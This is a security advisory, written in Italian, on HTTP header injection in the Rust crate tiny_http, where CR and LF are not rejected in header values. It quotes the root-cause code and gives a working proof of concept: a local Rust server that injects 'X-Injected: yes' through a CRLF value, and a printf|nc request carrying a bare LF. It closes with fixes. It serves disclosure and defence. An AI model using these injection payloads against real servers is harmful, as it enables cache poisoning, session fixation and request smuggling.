Avviso di Sicurezza: Iniezione di Header HTTP tramite CR e LF non convalidati nei Valori degli Header (tiny_http)

ID CVE assegnato: CVE-2026-66753

Riepilogo

tiny_http non rifiuta il carriage return o il line feed all'interno dei valori degli header HTTP, in entrambe le direzioni.

Lato richiesta, read_next_line termina una riga di header solo su CRLF, quindi un LF isolato sopravvive all'interno del valore parsato e raggiunge l'applicazione. Lato risposta, Header::from_bytes valida solo che i byte siano ASCII, e il writer della risposta emette i valori così come sono, quindi un valore contenente CRLF spezza la risposta.

Le applicazioni che riflettono il valore di un header della richiesta in un header della risposta, o che riserializzano gli header della richiesta su un'altra connessione, ereditano quindi una primitiva di iniezione senza alcuna indicazione che qualcosa non va.

Versioni interessate

URL del repository: https://github.com/tiny-http/tiny-http

Questo è distinto da RUSTSEC-2020-0031 / CVE-2020-35884, che riguardava il parsing di Transfer-Encoding ed è stato corretto in 0.6.3 e 0.8.0. Il comportamento descritto qui è presente sia prima che dopo quella correzione.

Gravità

CWE-113 (Neutralizzazione impropria delle sequenze CRLF negli header HTTP), un caso specifico di CWE-93 (Iniezione CRLF).

Punteggio base CVSS 4.0: 6.3 (Medio) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Modello di minaccia

Un client remoto, non autenticato, che invia HTTP grezzo a qualsiasi server tiny_http. Nessuna credenziale o interazione con l'utente.

Due forme di utilizzo trasformano questo comportamento in una vulnerabilità:

• Applicazioni che copiano il valore di un header della richiesta in un header della risposta. Questo è il pattern di riflessione dietro l'eco dell'origine CORS, gli header Location costruiti dai dati della richiesta e la gestione dei cookie. Un LF isolato nel valore della richiesta raggiunge la risposta e, se l'applicazione costruisce il valore della risposta da sé, può trasportare un CRLF completo.

• Applicazioni che riserializzano gli header della richiesta su un'altra connessione, come un reverse proxy. Il LF isolato viene scritto nella richiesta upstream e i backend che trattano un LF nudo come terminatore di riga di un header leggono una richiesta come due. La sezione 2.2 della RFC 9112 consente ai destinatari di fare ciò, quindi questi backend sono conformi alla specifica. È stato misurato che sia Go net/http che Python http.server lo accettano.

Causa principale

Lato richiesta

tiny_http-0.12.0/src/client.rs, righe da 80 a 102. Il ciclo restituisce un valore solo quando un LF è preceduto da un CR. Qualsiasi altro byte, incluso un LF isolato o un CR isolato, viene inserito nel buffer di riga alla riga 100:

 84          loop {
 85              let byte = self.next_header_source.by_ref().bytes().next();
...
 92              if byte == b'\n' && prev_byte_was_cr {
 93                  buf.pop(); // removing the '\r'
 94                  return AsciiString::from_ascii(buf)
 95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
 96              }
 97  
 98              prev_byte_was_cr = byte == b'\r';
 99  
100              buf.push(byte);
101          }

LF è 0x0A e CR è 0x0D, entrambi ASCII validi, quindi AsciiString::from_ascii alla riga 94 li accetta.

tiny_http-0.12.0/src/common.rs, righe da 184 a 191, successivamente si limita a fare trim del valore. trim rimuove gli spazi bianchi iniziali e finali ma lascia intatti i byte interni:

184      fn from_str(input: &str) -> Result<Header, ()> {
185          let mut elems = input.splitn(2, ':');
186  
187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188          let value = elems
189              .next()
190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191              .ok_or(())?;

Una coppia CRLF non può sopravvivere, poiché termina la riga, ma un LF isolato, un CR isolato e sequenze come \n\r possono farlo.

Lato risposta

tiny_http-0.12.0/src/common.rs, righe da 166 a 172, controlla solo l'ASCII:

166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

tiny_http-0.12.0/src/response.rs, righe da 99 a 104, scrive il valore senza alcun escaping:

 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

Nota che HeaderField::from_str alla riga 226 rifiuta gli spazi bianchi nel nome del campo, ma HeaderField::from_bytes alla riga 171 non lo fa, quindi anche i nomi degli header di risposta non vengono controllati.

Prova di concetto

Passo 1. Avvia un server che stampa il valore di un header della richiesta parsato e rimanda un valore contenente CRLF in un header della risposta.

use tiny_http::{Header, Response, Server};

fn main() {
    let server = Server::http("127.0.0.1:8004").unwrap();
    for request in server.incoming_requests() {
        for h in request.headers() {
            if h.field.equiv("X-Test") {
                println!("parsed X-Test value = {:?}", h.value.as_str());
            }
        }
        let evil = "a\r\nX-Injected: yes";
        let mut resp = Response::from_string("body");
        resp.add_header(Header::from_bytes(&b"X-Echo"[..], evil.as_bytes()).unwrap());
        let _ = request.respond(resp);
    }
}

Passo 2. Invia una richiesta il cui valore X-Test contiene un LF nudo. Nel comando sottostante \n è un singolo line feed e \r\n è un CRLF. La distinzione è il fulcro del test, quindi non lasciare che un editor lo normalizzi.

printf 'GET / HTTP/1.1\r\nHost: x\r\nX-Test: aaa\nbbb\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8004

Risultato su stdout. L'LF è ancora all'interno del valore parsato:

parsed X-Test value = "aaa\nbbb"

Risultato sul wire. L'header della risposta si è diviso in due:

HTTP/1.1 200 OK
Server: tiny-http (Rust)
Content-Type: text/plain; charset=UTF-8
X-Echo: a
X-Injected: yes
Content-Length: 4

body

Impatto

Di per sé tiny_http non riemette gli header delle richieste, quindi il comportamento lato richiesta è una primitiva latente piuttosto che un compromesso diretto. Diventa sfruttabile in qualsiasi consumer che inoltra o riflette i valori degli header, dove produce request smuggling contro backend tolleranti agli LF o iniezione di header nella risposta.

Il comportamento lato risposta è direttamente sfruttabile in qualsiasi applicazione che inserisce testo influenzato dall'attaccante in un valore di header: iniezione di script nel contesto dell'origine, avvelenamento della cache, session fixation tramite un Set-Cookie iniettato e sovrascrittura degli header di sicurezza.

Per confronto, la crate http rifiuta CR e LF in HeaderValue::from_str, motivo per cui gli stack costruiti su di essa non espongono nessuno dei due comportamenti.

Rimedio

Rifiuta i caratteri di controllo in entrambi i confini.

In read_next_line (src/client.rs riga 80), tratta un CR nudo o un LF nudo in una riga di header come un errore di protocollo e restituisci 400, anziché includerlo nel valore. In alternativa, rifiutali in Header::from_str (src/common.rs riga 184) dopo la suddivisione.

In Header::from_bytes (src/common.rs riga 166), rifiuta i valori che contengono 0x0D, 0x0A o 0x00 e rifiuta i nomi di campo che contengono qualsiasi cosa al di fuori del set di token RFC 9110. La restituzione di Err è già gestita dai chiamanti, poiché la firma è fallibile.